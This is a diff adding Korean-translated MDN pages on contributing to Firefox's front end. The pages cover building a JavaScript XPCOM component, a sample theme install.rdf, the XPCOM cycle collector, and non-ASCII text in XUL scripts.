+<p>만일 여러분이 `C++ 의 신` 정도의 능력이 있으시다면, 이 부분을 보실 필요가 없을 것입니다. 심지어 (좀 심하게 말하자면) front-end를 해킹하는 것은 여러분이 봐야할 적당한 페이지가 아닙니다만, 우리는 항상 더 많은 사람들이 리뷰하고, 코드를 작성하는 것을 도와줄 것이 필요합니다 <a class="external" href="http://www.mozilla.org/contribute/hacking/first-bugs/">building up the platform</a>. Front-end를 해킹하는 것은 코딩 기술 뿐만 아니라 사용자 인터페이스에 대한 직감과 더불어 비판에 잘 견딜 수 있어야 합니다. 여하튼, front-end를 찔러보는 건 상대적으로 쉬운 일입니다. C++/<a href="/ko/JavaScript" title="ko/JavaScript">JavaScript</a>/<a href="/ko/XML" title="ko/XML">XML</a> 에 대한 기본을 충분히 알고 있다면, <a href="/ko/XPCOM" title="ko/XPCOM">XPCOM</a>이나 그 관련된 것에 대하여 샅샅히 알고 있지 않더라도 시작하는데는 충분합니다. 자! 이제, 중요한 것부터 시작합니다.</p>
+<p> </p>
+<h3 id=".EA.B8.B0.EB.B3.B8.EC.97.90.EC.84.9C.EB.B6.80.ED.84.B0_.EC.8B.9C.EC.9E.91.ED.95.98.EA.B8.B0">기본에서부터 시작하기</h3>
+<p>해킹을 시작하기 전에 우선 <a class="link-https" href="https://bugzilla.mozilla.org/">Bugzilla</a>에 대하여 알아야 할 필요가 있습니다. 다른 사람에게 "나는 firefox를 해킹하고 싶다"고 이야기하는 것 이전에 선별/<a href="/ko/QA" title="ko/QA">QA</a>/버그찾기를 위하여 몇주 혹은 그 이상의 기간을 보낼줄 아는 것은 최소한 할수 있어야 합니다. 프로젝트가 어떻게 수행되는지 알아보는 것, 어떤 것에 대하여 선별하는지 배우는 것, 그리고 이 과정에서 배운 것들을 초기 선별 과정에 적용시키는 것은 검토와 체크인을 통하여 여러분의 방법을 찾는데 크게 도움을 줍니다. 여러분께서 닥치는대로 어떤 부분을 선택하여 작업을 시작하는 것은 일반적으로 최선의 선택은 아닐 것입니다. 어떤 부분이 잘 갖추어져 있는지, 어떤 부분이 추가적으로 필요한지 잘 살펴보시는 것이 해킹을 시작하는데 있어서 좋은 시작이 될 것입니다.</p>
+<h3 id="Fox_.EB.B9.8C.EB.93.9C.ED.95.98.EA.B8.B0">Fox 빌드하기</h3>
+<p>기존에 잘 쓰여진 것을 개작할 수도 있겠지만, 그것보다는 일반적인 절차<a href="/ko/Build_Documentation" title="ko/Build_Documentation">here</a>를 따라 CVS trunk를 사용하고, 새로운 빌드를 받는 것에서 부터 시작하십시요. 다음 단계를 시도하기 전에 이러한 작업은 할 수 있어야 합니다. 물론, Mozilla CVS에서 어떤것을 빌드하는 것이 아주 녹녹하지만은 않지만, 도움을 받아도 이러한 일을 해결할 수 없다면 아직 준비가 덜 되었다는 뜻이겠지요. "아무것도 컴파일하지 않음"에서부터 "Win32에서의 빌드"까지 한시간 정도면 끝낼수 있습니다.</p>
+<h3 id=".EC.86.8C.EC.8A.A4_.EC.BD.94.EB.93.9C.EC.9D.98_.EA.B5.AC.EC.A1.B0">소스 코드의 구조</h3>
+<p>자! 다음 질문은 "어디에 프로그램과 front-end 코드가 있나요?" 입니다. Firefox의 관련 코드는 <a class="external" href="http://lxr.mozilla.org/mozilla/source/browser/">여기</a>에 있으며, 일반적인 front-end toolkit은 <a class="external" href="http://lxr.mozilla.org/mozilla/source/toolkit/">여기</a>에 있습니다. (여러분의 CVS tree에서 이것은 각각 <code>mozilla/browser</code> 과 <code>mozilla/toolkit</code> 입니다.)</p>
+<h3 id="Text_file_format">문서 파일 형식</h3>
+<p>어떤 프로그래머들은 UTF-8 Byte Order Marker (BOM)를 기본적으로 파일 앞부분에 삽입합니다. 이 UTF-8 문자(0xEF 0xBB 0xBF)는 모질라 프로제특에 사용되는 다양한 도구에 영향을 끼칠 수 있습니다. 따라서 BOM이 파일에 저장되지 않도록 주의해주십시오.</p>
+<p>만약 파일에 이미 BOM 문자가 들어가있다면 그것을 제거해야합니다. 제거 작업은 문서 편집기나 다음과 같은 스크립트를 사용할 수 있습니다.</p>
+<pre class="eval"># nukebom.pl
+$INC{ "bytes.pm" }++ if $] &lt; 5.006;
+use bytes;
+
+s/^\xEF\xBB\xBF//s;
+</pre>
+<p>이 스크립트를 다음과 같이 실행하면 됩니다: <code>perl -pi nukebom.pl <em>파일명</em></code>.</p>
+<h3 id=".EC.9E.91.EC.97.85.ED.95.A0_.EB.B2.84.EA.B7.B8.EB.93.A4.EC.9D.84_.EC.84.A0.ED.83.9D.ED.95.98.EA.B8.B0">작업할 버그들을 선택하기</h3>
+<p>어떤일을 할 것을 할 것인지는 일종의 선택의 문제입니다. 종종 아주 단순한 것에서 버그가 발견될 수도 있으며, 만일 쉽게 해결할 수 있는 문제라면 그것을 먼저하십시요. 대부분의 경우에 처음으로 버그를 잡으시려고 할때는 "good first bug(새로운 개발자가 수정하기 용이한 버그들)"라고 적혀 있는 버그들 부터 선택하시는 것이 좋습니다. 물론, 여러분을 짜증나게 하는 버그가 있다면 그것부터 시작하는 것도 좋습니다. 개인적인 만족감을 많이 얻을 수 있을테니까요.</p>
+<h3 id=".EB.8F.84.EC.9B.80.EC.9D.84_.EC.96.BB.EC.9D.84_.EC.88.98_.EC.9E.88.EB.8A.94_.EA.B3.B3">도움을 얻을 수 있는 곳</h3>
+<p>많은 <span>개발자들</span>이 있는 <a class="link-irc" href="irc://irc.mozilla.org">Mozilla IRC server</a>는 여러분께서 어떤 문제를 풀어내지 못할때 조언을 받을 수 있는 좋은 장소입니다. 하지만, 다른 사람을 귀찮게 하기전에 우선 다른 좋은 장소들(lxr/bonsai/Google (그리고, 이 위키페이지))에서 답을 얻기 위해서 최선을 다하십시요. 만일 "UI가 어떤식으로 보이나요?"와 같은 질문이라면 Mike Connor나 <a class="external" href="http://www.mozilla.org/projects/firefox/review.html">Firefox peer</a>에 물어보는 것이 가장 좋을 것이며, 이건 여러분의 사례를 같이 논의할 준비가 되었다는 것이겠습니다.</p>
+<h3 id=".EC.82.AC.EC.9A.A9.EC.9E.90_.EA.B2.BD.ED.97.98.EC.9D.84_.EB.B3.80.EA.B2.BD.ED.95.98.EA.B8.B0">사용자 경험을 변경하기</h3>
+<p>만일 여러분이 개선 요청이 있는 기능을 구현하려고 하거나, 사용자들에게 영향을 마칠만한 동작을 바꾸려고 할때, 이를 시작하기 전에 여기에 대한 피드백을 받아보는 것이 모든 이해 관계자들에게 있어서 가장 좋을 것입니다. Ben Goodger, Mike Connor, 또는 <a class="external" href="http://www.mozilla.org/projects/firefox/review.html">Firefox peers</a>의 누군가에게 여기에 대하여 말하고, 응답 또는 조정을 받도록 하십시요. 만일 그들이 여러분이 작업할 부분에 대한 허가를 하지 않는다면, (예전에 <em>리뷰-</em>에 대한 보여야 하는 적절한 반응을 따르지 않았던 사람들에 비추어 보았을때) 여러분은 많은 스트레스와 울분으로부터 구원받은 것입니다.</p>
diff --git a/files/ko/how_to_build_an_xpcom_component_in_javascript/index.html b/files/ko/how_to_build_an_xpcom_component_in_javascript/index.html
new file mode 100644
index 0000000000..a2f6f18b0c
--- /dev/null
+++ b/files/ko/how_to_build_an_xpcom_component_in_javascript/index.html
@@ -0,0 +1,192 @@
+---
+title: How to Build an XPCOM Component in Javascript
+slug: How_to_Build_an_XPCOM_Component_in_Javascript
+tags:
+  - Add-ons
+  - Extensions
+  - XPCOM
+---
+<p>
+</p><p>본 문서는 자바스크립트에서 XPCOM 컴포넌트를 만드는 방법을 소개합니다. 이 문서에서는 XPCOM이 어떻게 움직이는지 혹은 그에 대한 코드는 다루지 않습니다. 자세한 사항은 <a href="ko/XPCOM">XPCOM</a>에서 아실 수 있습니다. 여기서는 실제로 이를 어떻게 <i>움직이게</i>하는 가에 달려 있습니다.
+</p><p><br>
+</p>
+<h2 id=".EA.B5.AC.ED.98.84_.EB.B0.A9.EB.B2.95" name=".EA.B5.AC.ED.98.84_.EB.B0.A9.EB.B2.95"> 구현 방법 </h2>
+<p>아래 예제는 "Hello World!"라는 메시지를 표시하는 간단한 방법입니다.
+This example component will expose a single method, which returns the string "Hello World!".
+</p>
+<h3 id=".EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_.EC.9E.AC.EC.A0.95.EC.9D.98" name=".EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_.EC.9E.AC.EC.A0.95.EC.9D.98"> 인터페이스 재정의 </h3>
+<p>If you want to use your component from JavaScript, or in other XPCOM components, you must define the interfaces that you want exposed (if you want to use your component <i>only</i> from JavaScript, you can use the <code><a href="ko/WrappedJSObject">wrappedJSObject</a></code> trick so that you don't need to generate an interface as described here).
+</p><p>There are many interfaces already defined in Mozilla applications, so you may not need to define a new one. You can browse existing XPCOM interfaces at various locations in the Mozilla source code, or using <a class="external" href="http://xpcomviewer.mozdev.org/">XPCOMViewer</a>, a GUI for browsing registered interfaces and components. You can download an old version of XPCOMViewer that works with Firefox 1.5 from <a class="external" href="http://downloads.mozdev.org/xpcomviewer/">mozdev mirrors</a>.
+</p><p>If an interface exists that meets your needs, then you do not need to write an IDL, or compile a typelib, and may skip to the <a href="#Creating_the_Component">next section</a>.
+</p><p>If you don't find a suitable pre-existing interface, then you must define your own. XPCOM uses a dialect of IDL to define interfaces, called <a href="ko/XPIDL">XPIDL</a>. Here's the XPIDL definition for our HelloWorld component:
+</p><p>HelloWorld.idl
+</p>
+<pre>#include "nsISupports.idl"
+
+[scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)]
+interface nsIHelloWorld : nsISupports
+{
+  string hello();
+};
+</pre>
+<p>Note that you must generate a new UUID for each XPCOM component that you create. See <a href="ko/Generating_GUIDs">Generating GUIDs</a> for more information.
+</p>
+<h3 id="Compiling_the_Typelib" name="Compiling_the_Typelib"> Compiling the Typelib </h3>
+<p>Your interface definition must be compiled into a binary format (XPT) in order to be registered and used within Mozilla applications. The compilation can be done using the Gecko SDK. You can learn how to get Mac, Linux, and Windows versions of the Gecko SDK by reading the article <a href="ko/Gecko_SDK">Gecko SDK</a>.
+</p>
+<div class="note"><b>Note:</b> On Windows if you download the Gecko SDK without the whole build tree, you will be missing some required DLLs for xpidl.exe and it will run with no errors but not do anything. To fix this download the <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/mozilla/source/wintools.zip">Mozilla build tools for Windows</a> and copy the DLLs from &lt;tt&gt;windows\bin\x86&lt;/tt&gt; within the zip into the &lt;tt&gt;bin&lt;/tt&gt; directory of the Gecko SDK.</div>
+<div class="note"><b>Note:</b> The Mac version of the SDK provided for download is PowerPC-only. If you need an Intel version, you'll need to compile it yourself as described on that page.</div>
+<p>Execute this command to compile the typelib. Here, &lt;tt&gt;{sdk_dir}&lt;/tt&gt; is the directory in which you unpacked the Gecko SDK.
+</p>
+<pre class="eval">{sdk_dir}/bin/xpidl -m typelib -w -v -I {sdk_dir}/idl -e HelloWorld.xpt HelloWorld.idl
+</pre>
+<p><br>
+</p>
+<div class="note"><b>Note:</b> On Windows you must use forward slashes for the include path.</div>
+<p>(The -I flag is an uppercase i, not a lowercase L.) This will create the typelib file HelloWorld.xpt in the current working directory.
+</p>
+<h3 id="Creating_the_Component" name="Creating_the_Component"> Creating the Component </h3>
+<p>HelloWorld.js
+</p>
+<pre>/***********************************************************
+constants
+***********************************************************/
+
+// reference to the interface defined in nsIHelloWorld.idl
+const nsIHelloWorld = Components.interfaces.nsIHelloWorld;
+
+// reference to the required base interface that all components must support
+const nsISupports = Components.interfaces.nsISupports;
+
+// UUID uniquely identifying our component
+// You can get from: http://kruithof.xs4all.nl/uuid/uuidgen here
+const CLASS_ID = Components.ID("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}");
+
+// description
+const CLASS_NAME = "My Hello World Javascript XPCOM Component";
+
+// textual unique identifier
+const CONTRACT_ID = "@dietrich.ganx4.com/helloworld;1";
+
+/***********************************************************
+class definition
+***********************************************************/
+
+//class constructor
+function HelloWorld() {
+};
+
+// class definition
+HelloWorld.prototype = {
+
+  // define the function we want to expose in our interface
+  hello: function() {
+      return "Hello World!";
+  },
+
+  QueryInterface: function(aIID)
+  {
+    if (!aIID.equals(nsIHelloWorld) &amp;&amp;
+        !aIID.equals(nsISupports))
+      throw Components.results.NS_ERROR_NO_INTERFACE;
+    return this;
+  }
+};
+
+/***********************************************************
+class factory
+
+This object is a member of the global-scope Components.classes.
+It is keyed off of the contract ID. Eg:
+
+myHelloWorld = Components.classes["@dietrich.ganx4.com/helloworld;1"].
+                          createInstance(Components.interfaces.nsIHelloWorld);
+
+***********************************************************/
+var HelloWorldFactory = {
+  createInstance: function (aOuter, aIID)
+  {
+    if (aOuter != null)
+      throw Components.results.NS_ERROR_NO_AGGREGATION;
+    return (new HelloWorld()).QueryInterface(aIID);
+  }
+};
+
+/***********************************************************
+module definition (xpcom registration)
+***********************************************************/
+var HelloWorldModule = {
+  registerSelf: function(aCompMgr, aFileSpec, aLocation, aType)
+  {
+    aCompMgr = aCompMgr.
+        QueryInterface(Components.interfaces.nsIComponentRegistrar);
+    aCompMgr.registerFactoryLocation(CLASS_ID, CLASS_NAME,
+        CONTRACT_ID, aFileSpec, aLocation, aType);
+  },
+
+  unregisterSelf: function(aCompMgr, aLocation, aType)
+  {
+    aCompMgr = aCompMgr.
+        QueryInterface(Components.interfaces.nsIComponentRegistrar);
+    aCompMgr.unregisterFactoryLocation(CLASS_ID, aLocation);
+  },
+
+  getClassObject: function(aCompMgr, aCID, aIID)
+  {
+    if (!aIID.equals(Components.interfaces.nsIFactory))
+      throw Components.results.NS_ERROR_NOT_IMPLEMENTED;
+
+    if (aCID.equals(CLASS_ID))
+      return HelloWorldFactory;
+
+    throw Components.results.NS_ERROR_NO_INTERFACE;
+  },
+
+  canUnload: function(aCompMgr) { return true; }
+};
+
+/***********************************************************
+module initialization
+
+When the application registers the component, this function
+is called.
+***********************************************************/
+function NSGetModule(aCompMgr, aFileSpec) { return HelloWorldModule; }
+
+</pre>
+<h2 id="Installation" name="Installation"> Installation </h2>
+<h3 id="For_extensions:" name="For_extensions:"> For extensions: </h3>
+<ol><li> Copy HelloWorld.js and HelloWorld.xpt to {extensiondir}/components/
+</li><li> Delete compreg.dat and xpti.dat from your profile directory.
+</li><li> Restart application
+</li></ol>
+<h3 id="For_Firefox" name="For_Firefox"> For Firefox </h3>
+<ol><li> Copy HelloWorld.js and HelloWorld.xpt to the {objdir}/dist/bin/components directory, if running from the source.
+</li><li> Delete compreg.dat and xpti.dat from the components directory.
+</li><li> Delete compreg.dat and xpti.dat from your profile directory.
+</li><li> Restart application
+</li></ol>
+<h2 id="Using_Your_Component" name="Using_Your_Component"> Using Your Component </h2>
+<pre>try {
+        // this is needed to generally allow usage of components in javascript
+        netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
+
+        var myComponent = Components.classes['@dietrich.ganx4.com/helloworld;1']
+                                    .createInstance(Components.interfaces.nsIHelloWorld);
+
+        alert(myComponent.hello());
+} catch (anError) {
+        dump("ERROR: " + anError);
+}
+</pre>
+<h2 id="Other_resources" name="Other_resources"> Other resources </h2>
+<ul><li> Two mozillazine forums threads about implementing XPCOM components in JS with some explanations, example code, and troubleshooting tips:
+<ul><li> <a class=" external" href="http://forums.mozillazine.org/viewtopic.php?t=308369" rel="freelink">http://forums.mozillazine.org/viewtopic.php?t=308369</a>
+</li><li> <a class=" external" href="http://forums.mozillazine.org/viewtopic.php?t=367298" rel="freelink">http://forums.mozillazine.org/viewtopic.php?t=367298</a>
+</li></ul>
+</li><li> <a class="external" href="http://kb.mozillazine.org/Implementing_XPCOM_components_in_JavaScript">Implementing XPCOM components in JavaScript</a> at kb.mozillazine.org
+</li><li> <a class="external" href="http://www.mozilla.org/scriptable/avoiding-leaks.html">Using XPCOM in JavaScript without leaking</a> - A must-read.
+</li><li> <a class="external" href="http://lxr.mozilla.org/seamonkey/source/xpcom/sample/nsSample.js">An example component</a>
+</li><li> <a class="external" href="http://www.mozilla.org/scriptable/js-components-status.html">Older JS+XPCOM notes</a> - includes some wrappedJSObject information.
+</li></ul>
+{{ languages( { "en": "en/How_to_Build_an_XPCOM_Component_in_Javascript", "ja": "ja/How_to_Build_an_XPCOM_Component_in_Javascript" } ) }}
diff --git a/files/ko/install.rdf/index.html b/files/ko/install.rdf/index.html
new file mode 100644
index 0000000000..1734e7799f
--- /dev/null
+++ b/files/ko/install.rdf/index.html
@@ -0,0 +1,40 @@
+---
+title: install.rdf
+slug: install.rdf
+translation_of: Archive/Mozilla/Creating_a_Skin_for_SeaMonkey_2.x/install.rdf
+---
+<p>Copy the following text and paste it into a text file, then save that file as "<code>install.rdf</code>":</p>
+
+<pre class="brush:xml">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;author@oftheme.com&lt;/em:id&gt;
+    &lt;em:version&gt;2.0b1&lt;/em:version&gt;
+
+    &lt;!-- SeaMonkey --&gt;
+    &lt;em:targetApplication&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}&lt;/em:id&gt;
+        &lt;em:minVersion&gt;2.0b1pre&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;2.0b2pre&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+
+    &lt;!-- Front End MetaData --&gt;
+    &lt;em:name&gt;My_Theme&lt;/em:name&gt;
+    &lt;em:description&gt;My first theme&lt;/em:description&gt;
+
+    &lt;!-- Front End Integration Hooks (used by Theme Manager)--&gt;
+    &lt;em:creator&gt;John Johnson&lt;/em:creator&gt;
+    &lt;em:contributor&gt;John Johnson&lt;/em:contributor&gt;
+    &lt;em:homepageURL&gt;https://mycoolskin.com/&lt;/em:homepageURL&gt;
+
+    &lt;em:updateURL&gt;https://mycoolskin.com/&lt;/em:updateURL&gt;
+    &lt;em:aboutURL&gt;https://mycoolskin.com/&lt;/em:aboutURL&gt;
+    &lt;em:internalName&gt;My_Theme&lt;/em:internalName&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
diff --git a/files/ko/interfacing_with_the_xpcom_cycle_collector/index.html b/files/ko/interfacing_with_the_xpcom_cycle_collector/index.html
new file mode 100644
index 0000000000..6958c619fe
--- /dev/null
+++ b/files/ko/interfacing_with_the_xpcom_cycle_collector/index.html
@@ -0,0 +1,57 @@
+---
+title: Interfacing with the XPCOM cycle collector
+slug: Interfacing_with_the_XPCOM_cycle_collector
+tags:
+  - Firefox 3
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Interfacing_with_the_XPCOM_cycle_collector
+---
+<p> 이 글은 Firefox 에서 XPCOM에 도입된 순환 수집기(cycle collector)에 대한 빠른 개요이며, XPCOM 순환 콜렉션에 참여하도록 기존 C++ 클래스를 수정하는데 필요한 절차를 포함합니다. 여러분이 생각하기에 순환 소유권(cyclical-ownership) 누출에 영향을 미치는 클래스가 있다면, 이 페이지는 여러분을 위한 것입니다.</p>
+<p>대상 독자는 Mozilla C++ 개발자입니다.</p>
+<h4 id=".EC.88.9C.ED.99.98_.EC.88.98.EC.A7.91.EA.B8.B0.EA.B0.80_.ED.95.98.EB.8A.94_.EC.9D.BC" name=".EC.88.9C.ED.99.98_.EC.88.98.EC.A7.91.EA.B8.B0.EA.B0.80_.ED.95.98.EB.8A.94_.EC.9D.BC">순환 수집기가 하는 일</h4>
+<p>순환 수집기는 대부분의 시간을 가비지(garbage) 순환에
+ <i>
+  영향을 미칠 수도 있는</i>
+ XPCOM 개체에 대한 포인터를 모으는데(그리고 버리는데) 보냅니다. 이는 수집기 작업의 유휴 단계로서 여기에서는 &lt;tt&gt;nsAutoRefCnt&lt;/tt&gt;의 특별한 변형이 "의심스러운" refcount 이벤트(0이 아닌 N에 대하여 N+1부터 N까지)를 전달하면서 자신을 재빠르게 수집기에 등록하고 등록 해제하기를 반복합니다.</p>
+<p>수집기는 주기적으로 깨어 나서 버퍼에 계속 있었던 의심스러운 포인터를 검사합니다. 이는 수집기 동작의 검사 단계입니다. 이 단계에서 수집기는 반복적으로 각 후보자에게 싱글톤(singleton) 순환 수집 도우미 클래스를 요청하고, 만약 도우미 클래스가 존재하면 수집기는 후보자의 (소유한) 자식에 대한 설명을 요청합니다. 이러한 방법으로 수집기는 의심스러운 개체로부터 도달 가능한 소유권 서브그래프(ownership subgraph)에 대한 그림을 작성합니다.</p>
+<p>수집기가 모두 서로에게 다시 참조를 하는 개체의 그룹을 찾고 개체의 참조 카운트가 그룹 안에서 내부 포인터에 의한 것이라고 확인하면 수집기는 해당 그룹을
+ <i>
+  순환 가비지</i>
+ 로 간주하여 해제하려고 시도합니다. 이는 수집기 동작의 연결 해제 단계입니다. 이 단계에서 수집기는 발견한 가비지 개체를 지나 다니며 다시 그들의 도우미 개체의 도움을 받아 도우미 개체에게 각 개체를 인접한 자식과 "연결 해제"하라고 요청합니다.</p>
+<p>수집기는 JS 힙(heap)을 지나 다니는 방법도 알고 있으며 그것으로 들어오고 나가는 소유권 순환을 발견할 수 있다는 점을 참고하십시오.</p>
+<h4 id=".EC.88.98.EC.A7.91.EA.B8.B0.EA.B0.80_.EC.8B.A4.ED.8C.A8.ED.95.98.EB.8A.94_.EA.B2.BD.EC.9A.B0" name=".EC.88.98.EC.A7.91.EA.B8.B0.EA.B0.80_.EC.8B.A4.ED.8C.A8.ED.95.98.EB.8A.94_.EA.B2.BD.EC.9A.B0">수집기가 실패하는 경우</h4>
+<p>순환 수집기는 신중한 장치입니다. 그것이 가비지 순환을 수집하는데 실패하는 경우도 있습니다.</p>
+<ol>
+ <li>수집기는 기본 값으로 어떠한 포인터도 의심하지 않습니다. 개체는 보통 &lt;tt&gt;nsAutoRefCnt&lt;/tt&gt;가 아닌 &lt;tt&gt;nsCycleCollectingAutoRefCnt&lt;/tt&gt;를 사용하여
+  <i>
+   스스로 의심</i>
+  해야 합니다.</li>
+ <li>수집기는 &lt;tt&gt;nsICycleCollectionParticipant&lt;/tt&gt;로 QI를 했을 때 도우미 개체를 반환하는 개체만 탐색합니다. 탐색 중에 알 수 없는 모서리를 만나면 그 모서리를 포기하는데, 이는 순환에 관여하는 모든 모서리가 참여해야 한다는 것을 의미하며 그렇지 않으면 순환을 발견할 수 없습니다.</li>
+ <li>도우미 개체에 대한 &lt;tt&gt;Traverse&lt;/tt&gt;와 &lt;tt&gt;Unlink&lt;/tt&gt; 메소드는 마법이 아닙니다. 그것을 프로그래머가 올바르게 제공해야 하며 그렇지 않으면 수집기는 실패하게 됩니다.</li>
+ <li>수집기는 스택(stack)에 존재하는 임시로 소유하는 포인터를 발견하는 방법을 모릅니다. 그래서 그것이 프로그램의 상단(top-loop) 근처에서만 실행한다는 사실이 중요합니다. 별도의 소유하는 포인터가 있는 경우에 고장나지는 않지만 소유되는 개체에서 발견한 참조 카운트를 설명할 수 없게 되어 순환을 수집하는데 실패하게 됩니다.</li>
+</ol>
+<h4 id=".EC.97.AC.EB.9F.AC.EB.B6.84.EC.9D.98_.ED.81.B4.EB.9E.98.EC.8A.A4.EB.A5.BC_.EC.B0.B8.EC.97.AC.EC.8B.9C.ED.82.A4.EB.8A.94_.EB.B0.A9.EB.B2.95" name=".EC.97.AC.EB.9F.AC.EB.B6.84.EC.9D.98_.ED.81.B4.EB.9E.98.EC.8A.A4.EB.A5.BC_.EC.B0.B8.EC.97.AC.EC.8B.9C.ED.82.A4.EB.8A.94_.EB.B0.A9.EB.B2.95">여러분의 클래스를 참여시키는 방법</h4>
+<p>순환 수집기와 여러분의 클래스 사이의 인터페이스는 &lt;tt&gt;xpcom/base/nsCycleCollector.h&lt;/tt&gt;의 내용을 사용하여 직접 접근할 수 있습니다. 하지만 &lt;tt&gt;xpcom/base/nsCycleCollectionParticipant.h&lt;/tt&gt;에는 여러분의 클래스에 추가할 수 있는 편리한 매크로가 있으며 이는 훨씬 사용하기 쉽습니다. 일반적으로, 수정해야 할 &lt;tt&gt;nsFoo&lt;/tt&gt; 클래스가 있고 두 개의 &lt;tt&gt;nsCOMPtr&lt;/tt&gt; 모서리인 &lt;tt&gt;mBar&lt;/tt&gt;와 &lt;tt&gt;mBaz&lt;/tt&gt;가 있다고 가정하면, 처리 과정은 몇 가지 간단한 수정이 됩니다.</p>
+<ol>
+ <li>&lt;tt&gt;nsCycleCollectionParticipant.h&lt;/tt&gt; 헤더를 &lt;tt&gt;nsFoo.h&lt;/tt&gt;와 &lt;tt&gt;nsFoo.cpp&lt;/tt&gt;에 모두 포함합니다.</li>
+ <li>&lt;tt&gt;nsFoo&lt;/tt&gt;의 정의에서 &lt;tt&gt;NS_DECL_ISUPPORTS&lt;/tt&gt;를 &lt;tt&gt;NS_DECL_CYCLE_COLLECTING_ISUPPORTS&lt;/tt&gt;로 바꿉니다.</li>
+ <li>&lt;tt&gt;nsFoo&lt;/tt&gt; 정의의 public 부분에 &lt;tt&gt;NS_DECL_CYCLE_COLLECTION_CLASS(nsFoo)&lt;/tt&gt;를 추가합니다.</li>
+ <li>&lt;tt&gt;nsFoo.cpp&lt;/tt&gt;에서 &lt;tt&gt;nsFoo&lt;/tt&gt;의 인터페이스 정의에 &lt;tt&gt;NS_INTERFACE_MAP_ENTRIES_CYCLE_COLLECTION(nsFoo)&lt;/tt&gt;를 추가합니다.</li>
+ <li>&lt;tt&gt;nsFoo.cpp&lt;/tt&gt;에서 &lt;tt&gt;NS_IMPL_ADDREF(nsFoo)&lt;/tt&gt;를 &lt;tt&gt;NS_IMPL_CYCLE_COLLECTING_ADDREF(nsFoo)&lt;/tt&gt;로 바꿉니다.</li>
+ <li>&lt;tt&gt;nsFoo.cpp&lt;/tt&gt;에서 &lt;tt&gt;NS_IMPL_RELEASE(nsFoo)&lt;/tt&gt;를 &lt;tt&gt;NS_IMPL_CYCLE_COLLECTING_RELEASE(nsFoo)&lt;/tt&gt;로 바꿉니다.</li>
+ <li>&lt;tt&gt;nsFoo.cpp&lt;/tt&gt;에서 &lt;tt&gt;NS_IMPL_CYCLE_COLLECTION_CLASS_2(nsFoo, mBar, mBaz)&lt;/tt&gt;를 추가합니다.</li>
+</ol>
+<p>여러분의 클래스는 이 그림보다 훨씬 더 복잡한 구조를 가지고 있을 가능성이 있습니다. 예를 들어, 여러분의 클래스는 여러 개의 &lt;tt&gt;nsISupports&lt;/tt&gt; 기반 클래스를 가질 수 있으며 이는 애매함을 제거하는 다운캐스트(disambiguating downcast)를 수행하는 &lt;tt&gt;*_AMBIGUOUS&lt;/tt&gt; 매크로 사용을 필요로 합니다. 또한 여러분의 클래스는 간단한 &lt;tt&gt;NS_IMPL_CYCLE_COLLECTION_CLASS_
+ <i>
+  N</i>
+ &lt;/tt&gt; 매크로는 충분하지 않은 복잡한 소유 구조를 가질 수 있습니다. 이 경우에 여러분은 도우미 클래스의
+ <i>
+  Traverse</i>
+ 와
+ <i>
+  Unlink</i>
+ 메소드를 직접 구현해야 합니다. 이러한 경우에도 &lt;tt&gt;NS_IMPL_CYCLE_COLLECTION_TRAVERSE_{BEGIN,END}&lt;/tt&gt;와 &lt;tt&gt;NS_IMPL_CYCLE_COLLECTION_UNLINK_{BEGIN,END}&lt;/tt&gt; 매크로를 사용하는 것이 도움이 됩니다. 그것을 사용하는 예제는 &lt;tt&gt;content/base/src/nsGenericElement.cpp&lt;/tt&gt;와 같은 더 복잡한 클래스에서 볼 수 있습니다. 클래스가 티어오프(tearoff)를 가지고 있거나 다른 클래스에 결합(aggregate)된 경우에는 티어오프 클래스나 외부 클래스도 순환 수집에 참여시키는 것이 중요합니다. 그렇게 하지 않으면 순환 수집기가 개체를 너무 빨리 수집하도록 만듭니다.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/ko/international_characters_in_xul_javascript/index.html b/files/ko/international_characters_in_xul_javascript/index.html
new file mode 100644
index 0000000000..9a4b6c10e2
--- /dev/null
+++ b/files/ko/international_characters_in_xul_javascript/index.html
@@ -0,0 +1,27 @@
+---
+title: International characters in XUL JavaScript
+slug: International_characters_in_XUL_JavaScript
+tags:
+  - Internationalization
+  - JavaScript
+translation_of: Archive/Mozilla/XUL/International_characters_in_XUL_JavaScript
+---
+<h3 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h3>
+<p><a href="ko/Firefox_1.5">Firefox 1.5</a>와 다른 어플리케이션에서 사용되는 <a href="ko/Gecko">Gecko</a> 1.8에서는 <a href="ko/XUL">XUL</a> 파일에서 로드되는 <a href="ko/JavaScript">JavaScript</a> 파일에 non-ASCII 캐릭터를 포함시킬 수 있습니다.</p>
+<p>이는 세계에서 사용하는 모든 언어의 모든 문자를 스크립트 파일에서 사용할 수 있다는 의미입니다. 예를 들어 스크립트 파일에 이런 내용을 포함시킬 수 있습니다.</p>
+<pre class="eval">var text = "Ein schönes Beispiel eines mehrsprachigen Textes: 日本語";
+</pre>
+<p>일본어와 독일어 문자를 섞어 쓴 것입니다.</p>
+<p>이전 버전에서는 XUL에서 로드되는 JS 파일은 로컬에서나 원격에서나 항상 <a class="external" href="http://en.wikipedia.org/wiki/ISO_8859-1#Code_table">ISO-8859-1</a> (Latin-1) 인코딩으로 해석되었습니다. <a href="#.EB.B2.84.EC.A0.84_.EA.B0.84_.ED.98.B8.ED.99.98.EC.84.B1">아래쪽에서 논의할</a> 유니코드 이스케이프는 항상 동작했습니다.</p>
